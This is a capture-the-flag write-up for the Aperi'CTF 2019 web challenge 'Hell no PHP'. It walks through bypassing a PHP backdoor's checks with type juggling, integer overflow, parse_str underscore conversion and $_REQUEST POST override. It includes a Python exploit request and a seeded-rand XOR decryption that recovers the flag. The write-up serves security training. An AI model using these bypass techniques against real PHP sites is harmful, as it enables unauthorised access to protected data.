Aperi’CTF 2019 - Hell no PHP
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Hell no PHP | Web | 250 | 5 |
Nous avons retrouvé une fichier “Lo7ef4fBi92x3p/index.php” sur le site web d’un client.
D’après nos informations, il s’agirait d’une backdoor permettant d’accéder au fichier flag.php
.
Investiguez et trouvez comment cette backdoor peut être exploitée.
https://hell-no-php.aperictf.fr
Methodology
When we arrive on the website, we’re served a PHP code:
<?php
show_source(__FILE__);
require_once("flag.php"); // $FLAG;
$FINAL = "";
$i = 0xFF;
$c = (((@$_GET['Ape'] == '003e2') && (sizeof(@$_GET['Ape']) !== 5)) &&
(((intval(@$_GET['ape']['ri']) == '9223372036854775807') && (@$_GET['ape']['ri'] != 9223372036854775807))||
((intval(@$_GET['ape']['ri']) == '2147483647') && (@$_GET['ape']['ri'] != 2147483647))));
$c = $c and false;
$i ^= $c ? 0x57 : 0x75;
if ($i%138 && !srand($_GET['Ape'])){
if(!@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)){
$FLAG = str_split($FLAG);
for($i=0;$i<sizeof($FLAG);$i++){
if (isset($_GET["petitkube"]) && $_GET["petitkube"] !== "ape"){
$FINAL .= (ord($FLAG[$i])^rand(13,37));
}
}
}
}
if (!((strpos($_GET['kube'], '_') !== false) || (strpos($_GET['kube'], '%5f') !== false))){
parse_str($_GET['kube'],$p);
if((sha1($FINAL) === "8183f431f1be02bb137b5e42d524a5e796526777") &&
($p['peri_kube'] == "kube") &&
($_REQUEST['petitkube'] === "ape")){
echo($FINAL);
}
}
if (isset($_GET['version'])){
phpinfo(1);
}
?>
Looking at the end of the code, we can display the PHP version of the website by adding /?version
at the end of the URL.
We got a PHP 5.3. Now let’s look at the goal: the $FLAG
is not directly displayed by the script but it’s used by $FINAL
which is displayed at the end of the script with conditions.
Condition 1
The first condition is if ($i%138)
. If $c
is True, then $i
= 0xff^0x57 = 168 (and 168%138 is True). If $c
is False, then $i
= 0xff^0x75 = 138 (and 138%138 is False). We need to force $c
as True. Now let’s have a look at $c
:
<?php
$c = (((@$_GET['Ape'] == '003e2') && (sizeof(@$_GET['Ape']) !== 5)) &&
(((intval(@$_GET['ape']['ri']) == '9223372036854775807') && (@$_GET['ape']['ri'] != 9223372036854775807))||
((intval(@$_GET['ape']['ri']) == '2147483647') && (@$_GET['ape']['ri'] != 2147483647))));
$c = $c and false;
?>
Here we got 2 contradictory conditions:
- The first one ask
$_GET['Ape']
to be equal (==) to'003e2'
and to not be 5 chars long. - The second one ask the intvalue of
$_GET['ape']['ri']
to be equal (==) to'9223372036854775807'
but it value mustn’t be equal (!=) to9223372036854775807
(or satisfy the same condition for2147483647
).
The first bypass is to enter the numeral value for $_GET['Ape']
: 300. The second bypass is an integer overflow. If we set $_GET['ape']['ri']
to 100000000000000000000000000000 we can bypass the condition.
For the moment, we have the following URL: /?Ape=300&ape[ri]=100000000000000000000000000000
.
You can also note that when we wrote $c = $c and false;
then $c
is still true (it doesn’t work with &&
instead of and
).
Condition 2
In this block, we already pass the first line with $i%138
. Note that a seed value (300
) is affected to srand
.
<?php
if ($i%138 && !srand($_GET['Ape'])){
if(!@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)){
$FLAG = str_split($FLAG);
for($i=0;$i<sizeof($FLAG);$i++){
if (isset($_GET["petitkube"]) && $_GET["petitkube"] !== "ape"){
$FINAL .= (ord($FLAG[$i])^rand(13,37));
}
}
}
}
?>
The second condition is !@strcmp([],@$_GET['a']['pe']['ri']['kube'] == 0)
. To satisfy this condition, we just need $_GET['a']['pe']['ri']['kube']
to be set: /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=
. Then the flag is split. A new condition $_GET["petitkube"] !== "ape"
is required to encrypt the flag. Let’s set it to a random value (i.e. x):
/?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x
.
Now our flag is encrypted with xor and random data (predictable thanks to the seed).
Conditions 3
This is the last block of conditions.
<?php
if (!((strpos($_GET['kube'], '_') !== false) || (strpos($_GET['kube'], '%5f') !== false))){
parse_str($_GET['kube'],$p);
if((sha1($FINAL) === "8183f431f1be02bb137b5e42d524a5e796526777") &&
($p['peri_kube'] == "kube") &&
($_REQUEST['petitkube'] === "ape")){
echo($FINAL);
}
}
?>
The conditions says that we must not have any underscore or urlencoded underscore in the $_GET['kube']
variable. However, parse_str
is used to extract $_GET['kube']
in $p
. And $p need to have a key peri_kube
which have an underscore in it! According to this comment many chars like .
are replace with underscore in this context. We can build our query with kube=peri.kube=kube
to fullfill this condition.
There is an other condition: $_REQUEST['petitkube'] === "ape"
. This is in contradiction with $_GET["petitkube"] !== "ape"
but we can bypass this case since $_REQUEST take both POST and GET data. We can overwrite the REQUEST value with POST data. Now, our url is /?Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x&kube=peri.kube=kube
and our post data is petitkube=ape
.
Now let’s craft our query:
# -*- coding:utf-8 -*-
import requests
URL = "http://hell-no-php.aperictf.fr/"
GET = "Ape=300&ape[ri]=100000000000000000000000000000&a[pe][ri][kube]=&petitkube=x&kube=peri.kube=kube"
POST = {"petitkube":"ape"}
r = requests.post(URL+"?"+GET,data=POST).text.split("</code>")[1]
print(r)
Output: 88716582101901137399120369310611730501298
.
Crypto
Now we need to decipher the flag. Since we have the seed and we know how the flag is encrypted, we know that it’s composed of xored characters. Lets compute the key using the correct PHP version. We’ll compute a list of random value used as key:
<?php
srand(300);
for($i=0;$i<50;$i++){
echo(rand(13,37).",");
}
?>
Output: [25,23,19,25,30,18,20,37,15,22,20,13,34,37,36,21,36,31,23,13,16,18,20,19,21,19,22,15,18,14,32,30,24,13,18,17,19,25,16,22,34,24,23,30,24,22,14,22,15,25]
Now let’s try to separate xored characters and xor them:
randomint = [25,23,19,25,30,18,20,37,15,22,20,13,34,37,36,21,36,31,23,13,16,18,20,19,21,19,22,15,18,14,32,30,24,13,18,17,19,25,16,22,34,24,23,30,24,22,14,22,15,25]
# Separate integers by hand
r = [88,71,65,82,101,90,113,73,99,120,36,93,106,117,30,50,12,98]
flag = ""
for a,b in zip(r,randomint):
flag += chr(a^b)
print("Flag: "+flag)
Output: Flag: APRK{Helln0PHP:'(}
Flag
APRK{Helln0PHP:'(}